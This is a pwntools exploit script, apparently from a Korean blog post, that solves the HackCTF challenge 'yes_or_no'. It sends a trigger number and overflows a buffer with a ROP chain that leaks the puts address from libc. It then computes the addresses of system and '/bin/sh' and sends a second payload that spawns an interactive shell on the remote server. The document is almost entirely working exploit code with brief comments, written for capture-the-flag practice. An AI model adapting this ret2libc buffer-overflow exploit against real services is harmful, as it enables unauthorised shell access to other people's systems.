from pwn import * context.log_level = 'debug' p = remote("ctf.j0n9hyun.xyz" ,3009) e = ELF('./yes_or_no') libc = ELF('libc-2.27.so') pr = 0x400883 #오프셋은 libc database search 이용 puts_plt = e.plt['puts'] puts_got = e.got['puts'] system_offset = 0x04f440 binsh_offset = 0x1b3e9a puts_offset = 0x0809c0 ret = 0x400611 p.recvuntil("number~!") p.sendline("9830400") p.recvuntil("me") payload = "A"*26 payload += p64(pr) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(e.symbols['main']) p.sendline(payload) p.recvuntil("\\n") leak_addr = u64(str(p.recv(6) + '\\x00\\x00')) #이 주소가 정석 leak_addr1 = u64(p.recv(8)) # 이 주소는 내가 구한 방식. 잘못되었음. leak_base = leak_addr - puts_offset system = leak_base + system_offset binsh = leak_base + binsh_offset log.info('leak_addr : ' + str(hex(leak_addr))) log.info('leak_addr1 : ' + str(hex(leak_addr1))) p.recvuntil("number~!") p.sendline("9830400") p.recvuntil("me\\n") payload1 = "A"*26 payload1 += p64(pr) payload1 += p64(binsh) # binsh를 pop하기 위해서. payload1 += p64(ret) #ret을 넣어주는 이유? payload1 += p64(system) # system함수를 실행 p.sendline(payload1) p.interactive()
yes_or_no
'HackCTF' 카테고리의 다른 글